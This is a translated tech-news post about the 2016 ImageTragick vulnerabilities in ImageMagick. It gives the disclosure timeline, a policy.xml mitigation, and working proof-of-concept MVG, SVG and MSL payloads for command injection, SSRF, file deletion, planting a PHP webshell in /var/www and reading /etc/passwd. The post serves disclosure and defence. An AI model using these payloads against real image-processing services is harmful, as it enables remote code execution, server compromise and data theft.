📜 ⬆️ ⬇️

Multiple vulnerabilities in ImageMagick, one of which leads to RCE

A few hours ago, Ryan Huber from Slack Security announced some critical vulnerability in software used by many sites. This software was ImageMagick - a popular package for image processing.


Summary of vulnerabilities is available on imagetragick.com . Yes, without the name and the site for the vulnerability was not done this time, although initially Ryan wrote that there would be no pathos, including the name and the site. (there is also twitter )


image


The vulnerability was detected by stewie and revealed on a hackerone on April 21 in a report, apparently, Mail.ru, because approximately a week after that Nikolay Ermishkin from the security team of Mail found an opportunity to perform RCE. All of this, of course, told the IM development team. Those on April 30 released a fix, but already on May 1 they were informed that the fix is ​​not a bit fixed. Therefore, on May 2, the vulnerability was disclosed in the mailing list of developers of packages based on IM, and on May 3, the vulnerability was disclosed publicly. A few hours later, a detailed description appeared on the openwall with examples of exploits. But more about that below.


First of all, it's worth noting that your site is (probably) affected by these vulnerabilities not only if you use IM directly, but also through various packages, including imagick in PHP, rmagick and paperclip in Ruby and imagemagick in nodejs.


How to protect yourself?


In order to at least somehow defend oneself, it is proposed to do at least one of the following two things (and better both).



<policymap> <policy domain="coder" rights="none" pattern="EPHEMERAL" /> <policy domain="coder" rights="none" pattern="URL" /> <policy domain="coder" rights="none" pattern="HTTPS" /> <policy domain="coder" rights="none" pattern="MVG" /> <policy domain="coder" rights="none" pattern="MSL" /> <policy domain="coder" rights="none" pattern="TEXT" /> <policy domain="coder" rights="none" pattern="SHOW" /> <policy domain="coder" rights="none" pattern="WIN" /> <policy domain="coder" rights="none" pattern="PLT" /> </policymap> 

IM configs are usually located in /etc/ImageMagick . alexkbs in the comments suggests that you can use convert -list policy to find out where the config file is and see the list of effective restrictions. To ansible sawed a playbook that adds this config .


As mentioned above, the IM patch is ready, but it is incomplete. The fact is that, as the researchers note, the vulnerability was found earlier by hackers and is already being exploited.


Vulnerability Details and Operation


From the post of Karim Valiev (Mail) on the openwall. All PoC promise to place on https://github.com/ImageTragick/PoCs (404 so far) . UPD : put everything on https://github.com/ImageTragick/PoCs + a simple script to check locally.


CVE-2016-3714 Insufficient character shielding leading to possible RCE


The problem is, IM has a delegate feature, which allows IM to process files with external libraries. In essence, this is a system() call with a command line from the delegates.xml file. One of the default commands


"wget" -q -O "%o" "https:%M"


where% M is the link from the input stream. For example, you can proxy https://example.com"|ls "-la , which will lead to the execution of ls -la (must be installed wget or curl).


 $ convert 'https://example.com"|ls "-la' out.png total 32 drwxr-xr-x 6 user group 204 Apr 29 23:08 . drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 .. ... 

Worst of all, IM supports type formats.
svg, mvg, which allow you to include external files via any protocols supported by the delegates.


(exploit.mvg)


 push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg"|ls "-la)' pop graphic-context 

(exploit.svg)


 <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg width="640px" height="480px" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink= "http://www.w3.org/1999/xlink"> <image xlink:href="https://example.com/image.jpg&quot;|ls &quot;-la" x="0" y="0" height="640px" width="480px"/> </svg> 

 $ convert exploit.mvg out.png total 32 drwxr-xr-x 6 user group 204 Apr 29 23:08 . drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 .. ... 

This immediately reminded me of a recent vulnerability in ffmpeg , found by cdump from the same Mail, by the way.


CVE-2016-3718 SSRF. It is possible to perform HTTP GET and FTP requests


(ssrf.mvg)


 push graphic-context viewbox 0 0 640 480 fill 'url(http://example.com/)' pop graphic-context 

 $ convert ssrf.mvg out.png #  HTTP   example.com 

CVE-2016-3715 Delete Files


Using the ephemeral pseudo-protocol, it is possible to delete files.


(delete_file.mvg)


 push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'ephemeral:/tmp/delete.txt' popgraphic-context 

 $ touch /tmp/delete.txt $ convert delete_file.mvg out.png #  /tmp/delete.txt 

CVE-2016-3716 Moving Files


Another pseudo-protocol is used - msl .


(file_move.mvg)


 push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'msl:/tmp/msl.txt' popgraphic-context 

(/tmp/msl.txt)


 <?xml version="1.0" encoding="UTF-8"?> <image> <read filename="/tmp/image.gif" /> <write filename="/var/www/shell.php" /> </image> 

/tmp/image.gif - a picture with a PHP shell inside, for example, https://www.secgeek.net/POC/POC.gif .


 $ convert file_move.mvg out.png #  /tmp/image.gif  /var/www/shell.php 

CVE-2016-3717 Reading Local Files


Again the pseudo-protocol, this time label . You can render the contents of files in pictures.


(file_read.mvg)


 push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'label:@/etc/passwd' pop graphic-context 

 $ convert file_read.mvg out.png #      /etc/passwd 

Meta



image





The post will be supplemented with new details.


')

Source: https://habr.com/ru/post/282896/


All Articles